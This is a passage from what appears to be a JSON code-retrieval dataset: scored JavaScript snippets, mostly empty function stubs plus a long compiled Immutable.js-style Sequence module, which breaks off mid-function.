"0.50424546", "text": "function Utils() {}", "title": "" }, { "docid": "828148a2f6280718d84856069bae7c49", "score": "0.5039841", "text": "function o(e){return!!e.constructor&&\"function\"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}", "title": "" }, { "docid": "95c83684d25f58b42d65a98ed25551cd", "score": "0.5036415", "text": "function c() {}", "title": "" }, { "docid": "95c83684d25f58b42d65a98ed25551cd", "score": "0.5036415", "text": "function c() {}", "title": "" }, { "docid": "17cda68506bed33128e0ebfb00dfc655", "score": "0.5030937", "text": "export( obj ) {}", "title": "" }, { "docid": "8fcb2e86d7159cd5f2221371e2d469b3", "score": "0.50286174", "text": "function Utility() { }", "title": "" }, { "docid": "0ab5f62d804c04956a3dadc30748ee68", "score": "0.50237423", "text": "function universalModule() {\n\t var $Object = Object;\n\t\n\tfunction createClass(ctor, methods, staticMethods, superClass) {\n\t var proto;\n\t if (superClass) {\n\t var superProto = superClass.prototype;\n\t proto = $Object.create(superProto);\n\t } else {\n\t proto = ctor.prototype;\n\t }\n\t $Object.keys(methods).forEach(function (key) {\n\t proto[key] = methods[key];\n\t });\n\t $Object.keys(staticMethods).forEach(function (key) {\n\t ctor[key] = staticMethods[key];\n\t });\n\t proto.constructor = ctor;\n\t ctor.prototype = proto;\n\t return ctor;\n\t}\n\t\n\tfunction superCall(self, proto, name, args) {\n\t return $Object.getPrototypeOf(proto)[name].apply(self, args);\n\t}\n\t\n\tfunction defaultSuperCall(self, proto, args) {\n\t superCall(self, proto, 'constructor', args);\n\t}\n\t\n\tvar $traceurRuntime = {};\n\t$traceurRuntime.createClass = createClass;\n\t$traceurRuntime.superCall = superCall;\n\t$traceurRuntime.defaultSuperCall = defaultSuperCall;\n\t\"use strict\";\n\tfunction is(first, second) {\n\t if (first === second) {\n\t return first !== 0 || second !== 0 || 1 / first === 1 / second;\n\t }\n\t if (first !== first) {\n\t return second !== second;\n\t }\n\t if (first && typeof first.equals === 'function') {\n\t return first.equals(second);\n\t }\n\t return false;\n\t}\n\tvar DELETE = 'delete';\n\tvar SHIFT = 5;\n\tvar SIZE = 1 << SHIFT;\n\tvar MASK = SIZE - 1;\n\tvar NOT_SET = {};\n\tvar CHANGE_LENGTH = {value: false};\n\tvar DID_ALTER = {value: false};\n\tfunction MakeRef(ref) {\n\t ref.value = false;\n\t return ref;\n\t}\n\tfunction SetRef(ref) {\n\t ref && (ref.value = true);\n\t}\n\tfunction OwnerID() {}\n\tfunction arrCopy(arr, offset) {\n\t offset = offset || 0;\n\t var len = Math.max(0, arr.length - offset);\n\t var newArr = new Array(len);\n\t for (var ii = 0; ii < len; ii++) {\n\t newArr[ii] = arr[ii + offset];\n\t }\n\t return newArr;\n\t}\n\tfunction invariant(condition, error) {\n\t if (!condition)\n\t throw new Error(error);\n\t}\n\tfunction hash(o) {\n\t if (!o) {\n\t return 0;\n\t }\n\t if (o === true) {\n\t return 1;\n\t }\n\t var type = typeof o;\n\t if (type === 'number') {\n\t if ((o | 0) === o) {\n\t return o & HASH_MAX_VAL;\n\t }\n\t o = '' + o;\n\t type = 'string';\n\t }\n\t if (type === 'string') {\n\t return o.length > STRING_HASH_CACHE_MIN_STRLEN ? cachedHashString(o) : hashString(o);\n\t }\n\t if (o.hashCode) {\n\t return hash(typeof o.hashCode === 'function' ? o.hashCode() : o.hashCode);\n\t }\n\t return hashJSObj(o);\n\t}\n\tfunction cachedHashString(string) {\n\t var hash = stringHashCache[string];\n\t if (hash == null) {\n\t hash = hashString(string);\n\t if (STRING_HASH_CACHE_SIZE === STRING_HASH_CACHE_MAX_SIZE) {\n\t STRING_HASH_CACHE_SIZE = 0;\n\t stringHashCache = {};\n\t }\n\t STRING_HASH_CACHE_SIZE++;\n\t stringHashCache[string] = hash;\n\t }\n\t return hash;\n\t}\n\tfunction hashString(string) {\n\t var hash = 0;\n\t for (var ii = 0; ii < string.length; ii++) {\n\t hash = (31 * hash + string.charCodeAt(ii)) & HASH_MAX_VAL;\n\t }\n\t return hash;\n\t}\n\tfunction hashJSObj(obj) {\n\t var hash = obj[UID_HASH_KEY];\n\t if (hash)\n\t return hash;\n\t if (!canDefineProperty) {\n\t hash = obj.propertyIsEnumerable && obj.propertyIsEnumerable[UID_HASH_KEY];\n\t if (hash)\n\t return hash;\n\t hash = getIENodeHash(obj);\n\t if (hash)\n\t return hash;\n\t }\n\t if (!canDefineProperty || Object.isExtensible(obj)) {\n\t hash = ++objHashUID & HASH_MAX_VAL;\n\t if (canDefineProperty) {\n\t Object.defineProperty(obj, UID_HASH_KEY, {\n\t 'enumerable': false,\n\t 'configurable': false,\n\t 'writable': false,\n\t 'value': hash\n\t });\n\t } else if (propertyIsEnumerable && obj.propertyIsEnumerable === propertyIsEnumerable) {\n\t obj.propertyIsEnumerable = function() {\n\t return propertyIsEnumerable.apply(this, arguments);\n\t };\n\t obj.propertyIsEnumerable[UID_HASH_KEY] = hash;\n\t } else if (obj.nodeType) {\n\t obj[UID_HASH_KEY] = hash;\n\t } else {\n\t throw new Error('Unable to set a non-enumerable property on object.');\n\t }\n\t return hash;\n\t } else {\n\t throw new Error('Non-extensible objects are not allowed as keys.');\n\t }\n\t}\n\tvar propertyIsEnumerable = Object.prototype.propertyIsEnumerable;\n\tvar canDefineProperty = (function() {\n\t try {\n\t Object.defineProperty({}, 'x', {});\n\t return true;\n\t } catch (e) {\n\t return false;\n\t }\n\t}());\n\tfunction getIENodeHash(node) {\n\t if (node && node.nodeType > 0) {\n\t switch (node.nodeType) {\n\t case 1:\n\t return node.uniqueID;\n\t case 9:\n\t return node.documentElement && node.documentElement.uniqueID;\n\t }\n\t }\n\t}\n\tvar HASH_MAX_VAL = 0x7FFFFFFF;\n\tvar objHashUID = 0;\n\tvar UID_HASH_KEY = '__immutablehash__';\n\tif (typeof Symbol !== 'undefined') {\n\t UID_HASH_KEY = Symbol(UID_HASH_KEY);\n\t}\n\tvar STRING_HASH_CACHE_MIN_STRLEN = 16;\n\tvar STRING_HASH_CACHE_MAX_SIZE = 255;\n\tvar STRING_HASH_CACHE_SIZE = 0;\n\tvar stringHashCache = {};\n\tvar ITERATE_KEYS = 0;\n\tvar ITERATE_VALUES = 1;\n\tvar ITERATE_ENTRIES = 2;\n\tvar FAUX_ITERATOR_SYMBOL = '@@iterator';\n\tvar ITERATOR_SYMBOL = typeof Symbol !== 'undefined' ? Symbol.iterator : FAUX_ITERATOR_SYMBOL;\n\tvar Iterator = function Iterator(next) {\n\t this.next = next;\n\t};\n\t($traceurRuntime.createClass)(Iterator, {toString: function() {\n\t return '[Iterator]';\n\t }}, {});\n\tvar IteratorPrototype = Iterator.prototype;\n\tIteratorPrototype.inspect = IteratorPrototype.toSource = function() {\n\t return this.toString();\n\t};\n\tIteratorPrototype[ITERATOR_SYMBOL] = function() {\n\t return this;\n\t};\n\tfunction iteratorValue(type, k, v, iteratorResult) {\n\t var value = type === 0 ? k : type === 1 ? v : [k, v];\n\t iteratorResult ? (iteratorResult.value = value) : (iteratorResult = {\n\t value: value,\n\t done: false\n\t });\n\t return iteratorResult;\n\t}\n\tfunction iteratorDone() {\n\t return {\n\t value: undefined,\n\t done: true\n\t };\n\t}\n\tfunction isIterable(maybeIterable) {\n\t return !!_iteratorFn(maybeIterable);\n\t}\n\tfunction isIterator(maybeIterator) {\n\t return maybeIterator && typeof maybeIterator.next === 'function';\n\t}\n\tfunction getIterator(iterable) {\n\t var iteratorFn = _iteratorFn(iterable);\n\t if (typeof iteratorFn === 'function') {\n\t return iteratorFn.call(iterable);\n\t }\n\t}\n\tfunction _iteratorFn(iterable) {\n\t return iterable && (iterable[ITERATOR_SYMBOL] || iterable[FAUX_ITERATOR_SYMBOL]);\n\t}\n\tvar Sequence = function Sequence(value) {\n\t return $Sequence.from(arguments.length === 1 ? value : Array.prototype.slice.call(arguments));\n\t};\n\tvar $Sequence = Sequence;\n\t($traceurRuntime.createClass)(Sequence, {\n\t toArray: function() {\n\t assertNotInfinite(this.length);\n\t var array = new Array(this.length || 0);\n\t this.valueSeq().__iterate((function(v, i) {\n\t array[i] = v;\n\t }));\n\t return array;\n\t },\n\t toJS: function() {\n\t return this.map((function(value) {\n\t return value instanceof $Sequence ? value.toJS() : value;\n\t })).__toJS();\n\t },\n\t toMap: function() {\n\t assertNotInfinite(this.length);\n\t return Map.from(this);\n\t },\n\t toObject: function() {\n\t assertNotInfinite(this.length);\n\t var object = {};\n\t this.__iterate((function(v, k) {\n\t object[k] = v;\n\t }));\n\t return object;\n\t },\n\t toOrderedMap: function() {\n\t assertNotInfinite(this.length);\n\t return OrderedMap.from(this);\n\t },\n\t toSet: function() {\n\t assertNotInfinite(this.length);\n\t return Set.from(this);\n\t },\n\t toStack: function() {\n\t assertNotInfinite(this.length);\n\t return Stack.from(this);\n\t },\n\t toVector: function() {\n\t assertNotInfinite(this.length);\n\t return Vector.from(this);\n\t },\n\t toString: function() {\n\t return this.__toString('Seq {', '}');\n\t },\n\t __toString: function(head, tail) {\n\t if (this.length === 0) {\n\t return head + tail;\n\t }\n\t return head + ' ' + this.map(this.__toStringMapper).join(', ') + ' ' + tail;\n\t },\n\t __toStringMapper: function(v, k) {\n\t return k + ': ' + quoteString(v);\n\t },\n\t concat: function() {\n\t for (var values = [],\n\t $__2 = 0; $__2 < arguments.length; $__2++)\n\t values[$__2] = arguments[$__2];\n\t return concatFactory(this, values, true);\n\t },\n\t contains: function(searchValue) {\n\t return this.find((function(value) {\n\t return is(value, searchValue);\n\t }), null, NOT_SET) !== NOT_SET;\n\t },\n\t entries: function() {\n\t return this.__iterator(ITERATE_ENTRIES);\n\t },\n\t every: function(predicate, context) {\n\t var returnValue = true;\n\t this.__iterate((function(v, k, c) {\n\t if (!predicate.call(context, v, k, c)) {\n\t returnValue = false;\n\t return false;\n\t }\n\t }));\n\t return returnValue;\n\t },\n\t filter: function(predicate, context) {\n\t return filterFactory(this, predicate, context, true);\n\t },\n\t find: function(predicate, context, notSetValue) {\n\t var foundValue = notSetValue;\n\t this.__iterate((function(v, k, c) {\n\t if (predicate.call(context, v, k, c)) {\n\t foundValue = v;\n\t return false;\n\t }\n\t }));\n\t return foundValue;\n\t },\n\t forEach: function(sideEffect, context) {\n\t return this.__iterate(context ? sideEffect.bind(context) : sideEffect);\n\t },\n\t join: function(separator) {\n\t separator = separator !== undefined ? '' + separator : ',';\n\t var joined = '';\n\t var isFirst = true;\n\t this.__iterate((function(v) {\n\t isFirst ? (isFirst = false) : (joined += separator);\n\t joined += v != null ? v : '';\n\t }));\n\t return joined;\n\t },\n\t keys: function() {\n\t return this.__iterator(ITERATE_KEYS);\n\t },\n\t map: function(mapper, context) {\n\t return mapFactory(this, mapper, context);\n\t },\n\t reduce: function(reducer, initialReduction, context) {\n\t var reduction;\n\t var useFirst;\n\t if (arguments.length < 2) {\n\t useFirst = true;\n\t } else {\n\t reduction = initialReduction;\n\t }\n\t this.__iterate((function(v, k, c) {\n\t if (useFirst) {\n\t useFirst = false;\n\t reduction = v;\n\t } else {\n\t reduction = reducer.call(context, reduction, v, k, c);\n\t }\n\t }));\n\t return reduction;\n\t },\n\t reduceRight: function(reducer, initialReduction, context) {\n\t var reversed = this.toKeyedSeq().reverse();\n\t return reversed.reduce.apply(reversed, arguments);\n\t },\n\t reverse: function() {\n\t return reverseFactory(this, true);\n\t },\n\t slice: function(begin, end) {\n\t if (wholeSlice(begin, end, this.length)) {\n\t return this;\n\t }\n\t var resolvedBegin = resolveBegin(begin, this.length);\n\t var resolvedEnd = resolveEnd(end, this.length);\n\t if (resolvedBegin !== resolvedBegin || resolvedEnd !== resolvedEnd) {\n\t return this.cacheResult().slice(begin, end);\n\t }\n\t var skipped = resolvedBegin === 0 ? this : this.skip(resolvedBegin);\n\t return resolvedEnd == null || resolvedEnd === this.length ? skipped : skipped.take(resolvedEnd - resolvedBegin);\n\t },\n\t some: function(predicate, context) {\n\t return !this.every(not(predicate), context);\n\t },\n\t sort: function(comparator) {\n\t return this.sortBy(valueMapper, comparator);\n\t },\n\t values: function() {\n\t return this.__iterator(ITERATE_VALUES);\n\t },\n\t butLast: function() {\n\t return this.slice(0, -1);\n\t },\n\t count: function(predicate, context) {\n\t if (!predicate) {\n\t if (this.length == null) {\n\t this.length = this.__iterate(returnTrue);\n\t }\n\t return this.length;\n\t }\n\t return this.filter(predicate, context).count();\n\t },\n\t countBy: function(grouper, context) {\n\t var $__0 = this;\n\t var groupMap = {};\n\t var groups = [];\n\t this.__iterate((function(v, k) {\n\t var g = grouper.call(context, v, k, $__0);\n\t var h = hash(g);\n\t if (!groupMap.hasOwnProperty(h)) {\n\t groupMap[h] = groups.length;\n\t groups.push([g, 1]);\n\t } else {\n\t groups[groupMap[h]][1]++;\n\t }\n\t }));\n\t return $Sequence(groups).fromEntrySeq();\n\t },\n\t equals: function(other) {\n\t if (this === other) {\n\t return true;\n\t }\n\t if (!(other instanceof $Sequence)) {\n\t return false;\n\t }\n\t if (this.length != null && other.length != null) {\n\t if (this.length !== other.length) {\n\t return false;\n\t }\n\t if (this.length === 0 && other.length === 0) {\n\t return true;\n\t }\n\t }\n\t if (this.__hash != null && other.__hash != null && this.__hash !== other.__hash) {\n\t return false;\n\t }\n\t return this.__deepEquals(other);\n\t },\n\t __deepEquals: function(other) {\n\t var entries = this.entries();\n\t return other.every((function(v, k) {\n\t var entry = entries.next().value;\n\t return entry && is(entry[0], k) && is(entry[1], v);\n\t })) && entries.next().done;\n\t },\n\t entrySeq: function() {\n\t var sequence = this;\n\t if (sequence._cache) {\n\t return $Sequence(sequence._cache);\n\t }\n\t var entriesSequence = sequence.toKeyedSeq().map(entryMapper).valueSeq();\n\t entriesSequence.fromEntries = (function() {\n\t return sequence;\n\t });\n\t return entriesSequence;\n\t },\n\t findKey: function(predicate, context) {\n\t var foundKey;\n\t this.__iterate((function(v, k, c) {\n\t if (predicate.call(context, v, k, c)) {\n\t foundKey = k;\n\t return false;\n\t }\n\t }));\n\t return foundKey;\n\t },\n\t findLast: function(predicate, context, notSetValue) {\n\t return this.toKeyedSeq().reverse().find(predicate, context, notSetValue);\n\t },\n\t findLastKey: function(predicate, context) {\n\t return this.toKeyedSeq().reverse().findKey(predicate, context);\n\t },\n\t first: function() {\n\t return this.find(returnTrue);\n\t },\n\t flatMap: function(mapper, context) {\n\t return this.map((function(v, k, c) {\n\t return $Sequence(mapper.call(context, v, k, c));\n\t })).flatten(true);\n\t },\n\t flatten: function(depth) {\n\t return flattenFactory(this, depth, true);\n\t },\n\t flip: function() {\n\t return flipFactory(this);\n\t },\n\t get: function(searchKey, notSetValue) {\n\t return this.find((function(_, key) {\n\t return is(key, searchKey);\n\t }), null, notSetValue);\n\t },\n\t getIn: function(searchKeyPath, notSetValue) {\n\t var nested = this;\n\t if (searchKeyPath) {\n\t for (var ii = 0; ii < searchKeyPath.length; ii++) {\n\t nested = nested && nested.get ? nested.get(searchKeyPath[ii], NOT_SET) : NOT_SET;\n\t if (nested === NOT_SET) {\n\t return notSetValue;\n\t }\n\t }\n\t }\n\t return nested;\n\t },\n\t groupBy: function(grouper, context) {\n\t return groupByFactory(this, grouper, context, true);\n\t },\n\t has: function(searchKey) {\n\t return this.get(searchKey, NOT_SET) !== NOT_SET;\n\t },\n\t keySeq: function() {\n\t return this.flip().valueSeq();\n\t },\n\t last: function() {\n\t return this.reverse().first();\n\t },\n\t mapEntries: function(mapper, context) {\n\t var $__0 = this;\n\t return this.entrySeq().map((function(entry, index) {\n\t return mapper.call(context, entry, index, $__0);\n\t })).fromEntrySeq();\n\t },\n\t mapKeys: function(mapper, context) {\n\t var $__0 = this;\n\t return this.flip().map((function(k, v) {\n\t return mapper.call(context, k, v, $__0);\n\t })).flip();\n\t },\n\t rest: function() {\n\t return this.slice(1);\n\t },\n\t skip: function(amount) {\n\t return skipFactory(this, amount, true);\n\t },\n\t skipLast: function(amount) {\n\t return this.reverse().skip(amount).reverse();\n\t },\n\t skipWhile: function(predicate, context) {\n\t return skipWhileFactory(this, predicate, context, true);\n\t },\n\t skipUntil: function(predicate, context) {\n\t return this.skipWhile(not(predicate), context);\n\t },\n\t sortBy: function(mapper, comparator) {\n\t comparator = comparator || defaultComparator;\n\t var seq = this;\n\t return $Sequence(this.entrySeq().entrySeq().toArray().sort((function(a, b) {\n\t return comparator(mapper(a[1][1], a[1][0], seq), mapper(b[1][1], b[1][0], seq)) || a[0] - b[0];\n\t }))).fromEntrySeq().valueSeq().fromEntrySeq();\n\t },\n\t take: function(amount) {\n\t return takeFactory(this, amount);\n\t },\n\t takeLast: function(amount) {\n\t return this.reverse().take(amount).reverse();\n\t },\n\t takeWhile: function(predicate, context) {\n\t return takeWhileFactory(this, predicate, context);\n\t },\n\t takeUntil: function(predicate, context) {\n\t return this.takeWhile(not(predicate), context);\n\t },\n\t toKeyedSeq: function() {\n\t return this;\n\t },\n\t valueSeq: function() {\n\t return new ValuesSequence(this);\n\t },\n\t cacheResult: function() {\n\t if (!this._cache && this.__iterateUncached) {\n\t assertNotInfinite(this.length);\n\t this._cache = this.entrySeq().toArray();\n\t if (this.length == null) {\n\t this.length = this._cache.length;\n\t }\n\t }\n\t return this;\n\t },\n\t hashCode: function() {\n\t return this.__hash || (this.__hash = this.length === Infinity ? 0 : this.reduce((function(h, v, k) {\n\t return (h + (hash(v) ^ (v === k ? 0 : hash(k)))) & HASH_MAX_VAL;\n\t }), 0));\n\t },\n\t __makeSequence: function() {\n\t return Object.create(SequencePrototype);\n\t },\n\t __iterate: function(fn, reverse) {\n\t return iterate(this, fn, reverse, true);\n\t },\n\t __iterator: function(type, reverse) {\n\t return iterator(this, type, reverse, true);\n\t }\n\t}, {from: function(value) {\n\t if (value instanceof $Sequence) {\n\t return value;\n\t }\n\t if (!Array.isArray(value)) {\n\t if (isIterator(value)) {\n\t return new IteratorSequence(value);\n\t }\n\t if (isIterable(value)) {\n\t return new IterableSequence(value);\n\t }\n\t if (value && value.constructor === Object) {\n\t return new ObjectSequence(value);\n\t }\n\t value = [value];\n\t }\n\t return new ArraySequence(value);\n\t }});\n\tvar SequencePrototype = Sequence.prototype;\n\tSequencePrototype[ITERATOR_SYMBOL] = SequencePrototype.entries;\n\tSequencePrototype.toJSON = SequencePrototype.toJS;\n\tSequencePrototype.__toJS = SequencePrototype.toObject;\n\tSequencePrototype.inspect = SequencePrototype.toSource = function() {\n\t return this.toString();\n\t};\n\tSequencePrototype.chain = SequencePrototype.flatMap;\n\tvar IndexedSequence = function IndexedSequence() {\n\t $traceurRuntime.defaultSuperCall(this, $IndexedSequence.prototype, arguments);\n\t};\n\tvar $IndexedSequence = IndexedSequence;\n\t($traceurRuntime.createClass)(IndexedSequence, {\n\t toString: function() {\n\t return this.__toString('Seq [', ']');\n\t },\n\t concat: function() {\n\t for (var values = [],\n\t $__3 = 0; $__3 < arguments.length; $__3++)\n\t values[$__3] = arguments[$__3];\n\t return concatFactory(this, values, false);\n\t },\n\t filter: function(predicate, context) {\n\t return filterFactory(this, predicate, context, false);\n\t },\n\t findIndex: function(predicate, context) {\n\t var key = this.findKey(predicate, context);\n\t return key == null ? -1 : key;\n\t },\n\t indexOf: function(searchValue) {\n\t return this.findIndex((function(value) {\n\t return is(value, searchValue);\n\t }));\n\t },\n\t lastIndexOf: function(searchValue) {\n\t return this.toKeyedSeq().reverse().indexOf(searchValue);\n\t },\n\t reverse: function() {\n\t return reverseFactory(this, false);\n\t },\n\t splice: function(index, removeNum) {\n\t var numArgs = arguments.length;\n\t removeNum = Math.max(removeNum | 0, 0);\n\t if (numArgs === 0 || (numArgs === 2 && !removeNum)) {\n\t return this;\n\t }\n\t index = resolveBegin(index, this.length);\n\t var spliced = this.slice(0, index);\n\t return numArgs === 1 ? spliced : spliced.concat(arrCopy(arguments, 2), this.slice(index + removeNum));\n\t },\n\t findLastIndex: function(predicate, context) {\n\t return this.toKeyedSeq().reverse().findIndex(predicate, context);\n\t },\n\t first: function() {\n\t return this.get(0);\n\t },\n\t flatten: function(depth) {\n\t return flattenFactory(this, depth, false);\n\t },\n\t flip: function() {\n\t return flipFactory(this.toKeyedSeq());\n\t },\n\t fromEntrySeq: function() {\n\t return new FromEntriesSequence(this);\n\t },\n\t get: function(index, notSetValue) {\n\t index = wrapIndex(this, index);\n\t return (index < 0 || (this.length === Infinity || (this.length != null && index > this.length))) ? notSetValue : this.find((function(_, key) {\n\t return key === index;\n\t }), null, notSetValue);\n\t },\n\t groupBy: function(grouper, context) {\n\t return groupByFactory(this, grouper, context, false);\n\t },\n\t has: function(index) {\n\t index = wrapIndex(this, index);\n\t return index >= 0 && (this.length != null ? this.length === Infinity || index < this.length : this.indexOf(index) !== -1);\n\t },\n\t interpose: function(separator) {\n\t return interposeFactory(this, separator);\n\t },\n\t last: function() {\n\t return this.get(-1);\n\t },\n\t skip: function(amount) {\n\t var seq = this;\n\t var skipSeq = skipFactory(seq, amount, false);\n\t if (skipSeq !== seq) {\n\t skipSeq.get = function(index, notSetValue) {\n\t index = wrapIndex(this, index);\n\t return index >= 0 ? seq.get(index + amount, notSetValue) : notSetValue;\n\t };\n\t }\n\t return skipSeq;\n\t },\n\t skipWhile: function(predicate, context) {\n\t return skipWhileFactory(this, predicate, context, false);\n\t },\n\t sortBy: function(mapper, comparator) {\n\t comparator = comparator || defaultComparator;\n\t var seq = this;\n\t return Sequence(this.entrySeq().toArray().sort((function(a, b) {\n\t return comparator(mapper(a[1], a[0], seq), mapper(b[1], b[0], seq)) || a[0] - b[0];\n\t }))).fromEntrySeq().valueSeq();\n\t },\n\t take: function(amount) {\n\t var seq = this;\n\t var takeSeq = takeFactory(seq, amount);\n\t if (takeSeq !== seq) {\n\t takeSeq.get = function(index, notSetValue) {\n\t index = wrapIndex(this, index);\n\t return index >= 0 && index < amount ? seq.get(index, notSetValue) : notSetValue;\n\t };\n\t }\n\t return takeSeq;\n\t },\n\t toKeyedSeq: function() {\n\t return new KeyedIndexedSequence(this);\n\t },\n\t valueSeq: function() {\n\t return this;\n\t },\n\t __makeSequence: function() {\n\t return Object.create(IndexedSequencePrototype);\n\t },\n\t __iterate: function(fn, reverse) {\n\t return iterate(this, fn, reverse, false);\n\t },\n\t __iterator: function(type, reverse) {\n\t return iterator(this, type, reverse, false);\n\t }\n\t}, {}, Sequence);\n\tvar IndexedSequencePrototype = IndexedSequence.prototype;\n\tIndexedSequencePrototype[ITERATOR_SYMBOL] = IndexedSequencePrototype.values;\n\tIndexedSequencePrototype.__toJS = IndexedSequencePrototype.toArray;\n\tIndexedSequencePrototype.__toStringMapper = quoteString;\n\tvar IteratorSequence = function IteratorSequence(iterator) {\n\t this._iterator = iterator;\n\t this._iteratorCache = [];\n\t};\n\t($traceurRuntime.createClass)(IteratorSequence, {\n\t __iterateUncached: function(fn, reverse) {\n\t if (reverse) {\n\t return this.cacheResult().__iterate(fn, reverse);\n\t }\n\t var iterator = this._iterator;\n\t var cache = this._iteratorCache;\n\t var iterations = 0;\n\t while (iterations < cache.length) {\n\t if (fn(cache[iterations], iterations++, this) === false) {\n\t return iterations;\n\t }\n\t }\n\t var step;\n\t while (!(step = iterator.next()).done) {\n\t var val = step.value;\n\t cache[iterations] = val;\n\t if (fn(val, iterations++, this) === false) {\n\t break;\n\t }\n\t }\n\t return iterations;\n\t },\n\t __iteratorUncached: function(type, reverse) {\n\t if (reverse) {\n\t return this.cacheResult().__iterator(type, reverse);\n\t }\n\t var iterator = this._iterator;\n\t var cache = this._iteratorCache;\n\t var iterations = 0;\n\t return new Iterator((function() {\n\t if (iterations >= cache.length) {\n\t var step = iterator.next();\n\t if (step.done) {\n\t return step;\n\t }\n\t cache[iterations] = step.value;\n\t }\n\t return iteratorValue(type, iterations, cache[iterations++]);\n\t }));\n\t }\n\t}, {}, IndexedSequence);\n\tvar IterableSequence = function IterableSequence(iterable) {\n\t this._iterable = iterable;\n\t this.length = iterable.length || iterable.size;\n\t};\n\t($traceurRuntime.createClass)(IterableSequence, {\n\t __iterateUncached: function(fn, reverse) {\n\t if (reverse) {\n\t return this.cacheResult().__iterate(fn, reverse);\n\t }\n\t var iterable = this._iterable;\n\t var iterator = getIterator(iterable);\n\t var iterations = 0;\n\t if (isIterator(iterator)) {\n\t var step;\n\t while (!(step = iterator.next()).done) {\n\t if (fn(step.value, iterations++, this) === false) {\n\t break;\n\t }\n\t }\n\t }\n\t return iterations;\n\t },\n\t __iteratorUncached: function(type, reverse) {\n\t if (reverse) {\n\t return this.cacheResult().__iterator(type, reverse);\n\t }\n\t var iterable = this._iterable;\n\t var iterator = getIterator(iterable);\n\t if (!isIterator(iterator)) {\n\t return new Iterator((function() {\n\t return iteratorDone();\n\t }));\n\t }\n\t var iterations = 0;\n\t return new Iterator((function() {\n\t var step = iterator.next();\n\t return step.done ? step : iteratorValue(type, iterations++, step.value);\n\t }));\n\t }\n\t}, {}, IndexedSequence);\n\tvar ObjectSequence = function ObjectSequence(object) {\n\t var keys = Object.keys(object);\n\t this._object = object;\n\t this._keys = keys;\n\t this.length = keys.length;\n\t};\n\t($traceurRuntime.createClass)(ObjectSequence, {\n\t toObject: function() {\n\t return this._object;\n\t },\n\t get: function(key, notSetValue) {\n\t if (notSetValue !== undefined && !this.has(key)) {\n\t return notSetValue;\n\t }\n\t return this._object[key];\n\t },\n\t has: function(key) {\n\t return this._object.hasOwnProperty(key);\n\t },\n\t __iterate: function(fn, reverse) {\n\t var object = this._object;\n\t var keys = this._keys;\n\t var maxIndex = keys.length - 1;\n\t for (var ii = 0; ii <= maxIndex; ii++) {\n\t var key = keys[reverse ? maxIndex - ii : ii];\n\t if (fn(object[key], key, this) === false) {\n\t return ii + 1;\n\t }\n\t }\n\t return ii;\n\t },\n\t __iterator: function(type, reverse) {\n\t var object = this._object;\n\t var keys = this._keys;\n\t var maxIndex = keys.length - 1;\n\t var ii = 0;\n\t return new Iterator((function() {\n\t var key = keys[reverse ? maxIndex - ii : ii];\n\t return ii++ > maxIndex ? iteratorDone() : iteratorValue(type, key, object[key]);\n\t }));\n\t }\n\t}, {}, Sequence);\n\tvar ArraySequence = function ArraySequence(array) {\n\t this._array = array;\n\t this.length = array.length;\n\t};\n\t($traceurRuntime.createClass)(ArraySequence, {\n\t toArray: function() {\n\t return this._array;\n\t },\n\t get: function(index, notSetValue) {\n\t return this.has(index) ? this._array[wrapIndex(this, index)] : notSetValue;\n\t },\n\t __iterate: function(fn, reverse) {\n\t var array = this._array;\n\t var maxIndex = array.length - 1;\n\t for (var ii = 0; ii <= maxIndex; ii++) {\n\t if (fn(array[reverse ? maxIndex - ii : ii], ii, this) === false) {\n\t return ii + 1;\n\t }\n\t }\n\t return ii;\n\t },\n\t __iterator: function(type, reverse) {\n\t var array = this._array;\n\t var maxIndex = array.length - 1;\n\t var ii = 0;\n\t return new Iterator((function() {\n\t return ii > maxIndex ? iteratorDone() : iteratorValue(type, ii, array[reverse ? maxIndex - ii++ : ii++]);\n\t }));\n\t }\n\t}, {}, IndexedSequence);\n\tfunction ensureLength(indexedSeq) {\n\t if (indexedSeq.length == null) {\n\t indexedSeq.cacheResult();\n\t }\n\t invariant(indexedSeq.length < Infinity, 'Cannot reverse infinite range.');\n\t return indexedSeq.length;\n\t}\n\tfunction wholeSlice(begin, end, length) {\n\t return (begin === 0 || (length != null && begin <= -length)) && (end == null || (length != null && end >= length));\n\t}\n\tfunction resolveBegin(begin, length) {\n\t return resolveIndex(begin, length, 0);\n\t}\n\tfunction resolveEnd(end, length) {\n\t return resolveIndex(end, length, length);\n\t}\n\tfunction resolveIndex(index, length, defaultIndex) {\n\t return index == null ? defaultIndex : index < 0 ? Math.max(0, length + index) : length ? Math.min(length, index) : index;\n\t}\n\tfunction valueMapper(v) {\n\t return v;\n\t}\n\tfunction entryMapper(v, k) {\n\t return [k, v];\n\t}\n\tfunction returnTrue() {\n\t return true;\n\t}\n\tfunction not(predicate) {\n\t return function() {\n\t return !predicate.apply(this, arguments);\n\t };\n\t}\n\tfunction quoteString(value) {\n\t return typeof value === 'string' ? JSON.stringify(value) : value;\n\t}\n\tfunction defaultComparator(a, b) {\n\t return a > b ? 1 : a < b ? -1 : 0;\n\t}\n\tfunction wrapIndex(seq, index) {\n\t if (index < 0) {\n\t if (seq.length == null) {\n\t seq.cacheResult();\n\t }\n\t return seq.length + index;\n\t }\n\t return index;\n\t}\n\tfunction assertNotInfinite(length) {\n\t invariant(length !== Infinity, 'Cannot perform this action with an infinite sequence.');\n\t}\n\tfunction iterate(sequence, fn, reverse, useKeys) {\n\t var cache = sequence._cache;\n\t if (cache) {\n\t var maxIndex = cache.length - 1;\n\t for (var ii = 0; ii <= maxIndex; ii++) {\n\t var entry = cache[reverse ? maxIndex - ii : ii];\n\t if (fn(entry[1], useKeys ? entry[0] : ii, sequence) === false) {\n\t return ii + 1;\n\t }\n\t }\n\t return ii;\n\t }\n\t return sequence.__iterateUncached(fn, reverse);\n\t}\n\tfunction iterator(sequence, type, reverse, useKeys) {\n\t var cache = sequence._cache;\n\t if (cache) {\n\t var maxIndex = cache.length - 1;\n\t var ii = 0;\n\t return new Iterator((function() {\n\t var entry = cache[reverse ? maxIndex - ii : ii];\n\t return ii++ > maxIndex ? iteratorDone() : iteratorValue(type, useKeys ? entry[0] : ii - 1, entry[1]);\n\t }));\n\t }\n\t return sequence.__iteratorUncached(type, reverse);\n\t}\n\tvar ValuesSequence = function ValuesSequence(seq) {\n\t this._seq = seq;\n\t this.length = seq.length;\n\t};\n\t($traceurRuntime.createClass)(ValuesSequence, {\n\t contains: function(value) {\n\t return this._seq.contains(value);\n\t },\n\t cacheResult: function() {\n\t this._seq.cacheResult();\n\t this.length = this._seq.length;\n\t return this;\n\t },\n\t __iterate: function(fn, reverse) {\n\t var $__0 = this;\n\t var iterations 